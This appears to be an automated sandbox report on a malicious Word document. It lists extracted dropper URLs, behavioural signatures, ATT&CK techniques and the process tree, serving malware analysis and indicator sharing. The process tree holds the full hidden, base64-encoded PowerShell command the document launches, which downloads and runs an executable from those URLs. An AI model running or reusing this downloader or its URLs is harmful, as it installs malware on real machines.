Analysis

  • max time kernel
    30s
  • resource
    win10v191014
  • submitted
    27-01-2020 22:31

General

  • Target

    19238030bfa5e60aab5222bad91f9bf06e4c9d1f8504f9d8ac409d9370e291d0.doc

  • Sample

    200127-j8j9x8y89s

  • SHA256

    19238030bfa5e60aab5222bad91f9bf06e4c9d1f8504f9d8ac409d9370e291d0

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://yochina.apps.zeroek.com/assets/GQK9Gly/

exe.dropper

http://www.bandarwinsbobet.com/wp-admin/7bw/

exe.dropper

http://test.pakspaservices.com/wp-content/Yi1j6O7/

exe.dropper

http://portal.meucompromisso.com/wp-admin/kQJ/

exe.dropper

https://wondersofgeorgia.com/wp-admin/jv7hvg/

Signatures

  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\19238030bfa5e60aab5222bad91f9bf06e4c9d1f8504f9d8ac409d9370e291d0.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    PID:4984
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABDAHQAZABoAHcAdAB0AHIAPQAnAFkAcQBiAHQAeQBxAHIAcgB3AGoAcAB6ACcAOwAkAFcAcABsAHQAdAB2AHgAYwB5AGwAawAgAD0AIAAnADgANQA4ACcAOwAkAEsAYQB1AHIAdAB4AGgAZwBvAHMAPQAnAEUAbAB2AGEAdwBoAHcAbgBkAHIAYwAnADsAJABTAHUAcgBpAHIAeABxAHYAawB0AG0AaABvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABXAHAAbAB0AHQAdgB4AGMAeQBsAGsAKwAnAC4AZQB4AGUAJwA7ACQARwB0AG4AaABtAGQAeAByAHgAbQA9ACcAWgB2AHcAcQBqAG0AYgBoAGEAbgBnAGEAagAnADsAJABCAGgAawBrAGcAbQBjAGsAdgB1AGUAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAYwBsAGkARQBuAHQAOwAkAEEAbABhAHAAbABsAGYAYgBxAD0AJwBoAHQAdABwADoALwAvAHkAbwBjAGgAaQBuAGEALgBhAHAAcABzAC4AegBlAHIAbwBlAGsALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8ARwBRAEsAOQBHAGwAeQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAYQBuAGQAYQByAHcAaQBuAHMAYgBvAGIAZQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA3AGIAdwAvACoAaAB0AHQAcAA6AC8ALwB0AGUAcwB0AC4AcABhAGsAcwBwAGEAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AWQBpADEAagA2AE8ANwAvACoAaAB0AHQAcAA6AC8ALwBwAG8AcgB0AGEAbAAuAG0AZQB1AGMAbwBtAHAAcgBvAG0AaQBzAHMAbwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AawBRAEoALwAqAGgAdAB0AHAAcwA6AC8ALwB3AG8AbgBkAGUAcgBzAG8AZgBnAGUAbwByAGcAaQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAHYANwBoAHYAZwAvACcALgAiAHMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQB5AGcAcwB5AHYAZwBuAGQAdAB6AGMAPQAnAFoAZwB5AGQAYgB3AG0AegB3AHQAZgBiACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAGkAawBlAHkAbABkAGMAdgBsAHgAZAAgAGkAbgAgACQAQQBsAGEAcABsAGwAZgBiAHEAKQB7AHQAcgB5AHsAJABCAGgAawBrAGcAbQBjAGsAdgB1AGUALgAiAGQATwBgAFcAbgBgAGwAYABvAGEARABGAEkAbABlACIAKAAkAE8AaQBrAGUAeQBsAGQAYwB2AGwAeABkACwAIAAkAFMAdQByAGkAcgB4AHEAdgBrAHQAbQBoAG8AKQA7ACQAUwBuAG4AeABzAGwAeABzAHIAdAA9ACcAUwBpAHQAeABrAGsAbQBuACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUwB1AHIAaQByAHgAcQB2AGsAdABtAGgAbwApAC4AIgBMAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADIAMAA4ADgAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABhAHIAdAAiACgAJABTAHUAcgBpAHIAeABxAHYAawB0AG0AaABvACkAOwAkAFgAaAB3AGYAYQBjAG0AbgB4AD0AJwBVAHAAZwBiAGoAZAB3AGcAcABmAGoAeQBlACcAOwBiAHIAZQBhAGsAOwAkAFoAagB1AHAAZQBqAG0AZwBwAD0AJwBHAHcAcQBmAGcAdwBiAHcAbgBlAHEAagBhACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAcgBjAG4AagBzAGIAdQBkAGQAcwA9ACcATABpAGkAcQBsAG4AdwB6AHEAagB5AG0AdwAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:4604

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

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Downloads